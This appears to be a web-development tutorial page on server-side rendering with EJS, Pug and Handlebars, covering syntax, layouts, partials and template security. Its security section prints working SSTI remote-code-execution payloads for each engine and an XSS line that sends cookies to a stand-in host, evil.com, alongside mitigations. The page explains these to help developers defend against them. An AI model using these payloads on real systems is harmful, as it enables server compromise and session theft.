Skip to content

Templating Engines - Server-Side Rendering

Table of Contents


Why Server-Side Rendering Still Matters

Before SPAs took over , every web page was rendered on the server. Raw HTML strings concatenated with user data - a recipe for disaster that templating engines fixed by providing controlled interpolation , escaping , and reusable components

SSR is still the right call for: * SEO-critical pages (search engines love HTML , hate JavaScript) * Content-heavy sites (blogs , documentation , dashboards) * Applications where first-load performance matters * Any site where you don't need a 2MB JavaScript bundle to display text

EJS : Embedded JavaScript

EJS lets you write HTML with <% %> tags for JavaScript control flow and <%= %> for escaped output

npm install ejs
const ejs = require('ejs')

const template = '<h1>Welcome back , <%= user.name %></h1>'
const html = ejs.render(template, { user: { name: 'ali' } })
// <h1>Welcome back , ali</h1>

Template file example - views/profile.ejs:

<!DOCTYPE html>
<html>
<head>
  <title>Profile - <%= user.name %></title>
</head>
<body>
  <h1>User Profile</h1>
  <p>Email: <%= user.email %></p>

  <% if (user.bio) { %>
    <p>Bio: <%= user.bio %></p>
  <% } else { %>
    <p>No bio yet - lazy bastard</p>
  <% } %>

  <h2>Recent Posts</h2>
  <ul>
    <% posts.forEach(post => { %>
      <li><%= post.title %> - <%= post.date %></li>
    <% }) %>
  </ul>
</body>
</html>

Server integration:

const http = require('node:http')
const fs = require('node:fs')
const ejs = require('ejs')

const template = fs.readFileSync('views/profile.ejs', 'utf-8')

const server = http.createServer((req, res) => {
  const html = ejs.render(template, {
    user: { name: 'mahmoud', email: 'mahmoud@example.com', bio: null },
    posts: [
      { title: 'Exploiting XSS', date: '2026-01-15' },
      { title: 'Bypassing WAFs', date: '2026-02-20' }
    ]
  })

  res.writeHead(200, { 'Content-Type': 'text/html' })
  res.end(html)
})

EJS tags: * <% - control flow (no output) * <%= - escaped output (safe for HTML) * <%- - unescaped output (DANGEROUS - raw HTML) * <%# - comment (not rendered) * %> - closing tag (with optional - for whitespace trimming)

Pug : Minimal Indentation-Based Syntax

Pug (formerly Jade) uses indentation instead of closing tags. Less typing , but one wrong space breaks everything

npm install pug
const pug = require('pug')

const html = pug.renderFile('views/index.pug', { title: 'Home', user: null })

views/index.pug:

doctype html
html
  head
    title= title
    link(rel='stylesheet', href='/style.css')
  body
    if user
      h1 Welcome back , #{user.name}
      a(href='/logout') Logout
    else
      h1 Hello , stranger
      a(href='/login') Login

    ul
      each post in posts
        li: a(href=`/posts/${post.id}`)= post.title

Pug gotchas that will waste your time: * Indentation must be consistent - tabs vs spaces matters * Attributes go in parentheses a(href='/x') * Text after tags uses a space: h1= variable vs h1 Static text * #{} interpolation inside text , = variable for tag content * : for inline tags: li: a(href='#') = <li><a href="#">

Handlebars : Logic-Less Templates

Handlebars enforces logic-less templates - no arbitrary JavaScript , only built-in helpers

npm install handlebars
const Handlebars = require('handlebars')

const template = Handlebars.compile(`
  <h1>{{title}}</h1>
  {{#if user}}
    <p>Welcome , {{user.name}}</p>
  {{else}}
    <p>Please log in</p>
  {{/if}}

  <ul>
    {{#each items}}
      <li>{{this}}</li>
    {{/each}}
  </ul>
`)

const html = template({
  title: 'Dashboard',
  user: { name: 'tom' },
  items: ['Recon', 'Exploit', 'Pivot']
})

Handlebars helpers you'll actually use: * {{variable}} - escaped output * {{{variable}}} - unescaped output (DANGEROUS) * {{#if condition}}...{{/if}} - conditional * {{#each array}}...{{/each}} - iteration (use {{this}} inside) * {{#unless condition}}...{{/unless}} - inverted conditional * {{> partialName}} - include partial

Registering custom helpers:

Handlebars.registerHelper('formatDate', function(date) {
  return new Date(date).toLocaleDateString()
})

// {{formatDate post.createdAt}}

Passing Data to Templates

The data object you pass becomes the template's variable scope:

// EJS
const html = ejs.render(template, { foo: 'bar', items: [1,2,3] })
// template sees: foo , items

// Pug
const html = pug.renderFile('view.pug', { foo: 'bar' })
// template sees: foo

// Handlebars
const html = template({ foo: 'bar' })
// template sees: foo

Functions in template data:

ejs.render(template, {
  formatPrice: (n) => `$${n.toFixed(2)}`,
  items: [{ price: 29.99 }, { price: 49.99 }]
})
<!-- template -->
<% items.forEach(item => { %>
  <p><%= formatPrice(item.price) %></p>
<% }) %>

Context awareness: Handlebars changes scope inside {{#each}} - {{this}} refers to the current item , not the root data. Access root with {{@root.variable}}

Layouts , Partials , Includes

EJS includes:

<!-- views/layout.ejs -->
<!DOCTYPE html>
<html>
<head><title><%= title %></title></head>
<body>
  <%- include('partials/header', { user }) %>
  <%- body %>
  <%- include('partials/footer') %>
</body>
</html>
<!-- views/partials/header.ejs -->
<header>
  <nav>
    <% if (user) { %>
      <span><%= user.name %></span>
    <% } %>
  </nav>
</header>

Pug includes and inheritance:

//- views/layout.pug
doctype html
html
  head
    block title
      title Default Title
    block styles
  body
    block content

//- views/page.pug
extends layout

block title
  title Custom Page

block content
  h1 This is the page content
  include partials/card

Handlebars partials:

Handlebars.registerPartial('header', `
  <header>
    <h1>{{siteName}}</h1>
  </header>
`)

// usage in template:
// {{> header}}

Security : SSTI and XSS via Unescaped Output

Server-Side Template Injection (SSTI) is the showstopper - when user input goes into template rendering logic instead of being passed as data , an attacker can execute arbitrary code on your server

// VULNERABLE - rendering user input as a template
app.get('/render', (req, res) => {
  const html = ejs.render(req.query.template, {}) // catastrophic
  res.send(html)
})

// attacker sends: ?template=<%= process.env %>
// now they see all your environment variables + secrets

SSTI payload examples: * EJS: <%= global.process.mainModule.require('child_process').execSync('id') %> * Pug: #{global.process.env} * Handlebars: {{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.split "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}{{#each conslist}}{{#with (string.split.apply 0 codelist)}}{{this}}}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}

Mitigations: * Never let users control template names , paths , or content * Never pass user input as template source - only as data * If users need customization , use a safe markup language (Markdown) with strict rendering

// SAFE - user input is data , not template
const html = ejs.render('<p><%= userMessage %></p>', {
  userMessage: req.query.message // escaped by <%= %>
})

XSS via unescaped output:

// DANGEROUS - unescaped output renders raw HTML
<%- userProvidedContent %>

// attacker sends: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
// now you got pwned

EJS: <%= %> escapes , <%- %> does not Handlebars: {{ }} escapes , {{{ }}} does not Pug: #{} escapes , !{} does not

Rule of thumb: Never use unescaped output (<%- , {{{ , !{}) unless you have explicitly sanitized the content with a library like DOMPurify (server-side) or similar. And even then , think twice

// if you MUST render user HTML , sanitize with an HTML sanitizer:
const createDOMPurify = require('dompurify')
const { JSDOM } = require('jsdom')
const window = new JSDOM('').window
const DOMPurify = createDOMPurify(window)

const safe = DOMPurify.sanitize(userContent) // strips script tags , event handlers

prerequisites

web_05_sessions.md - Session data , user context for template personalization

next => web_07_static.md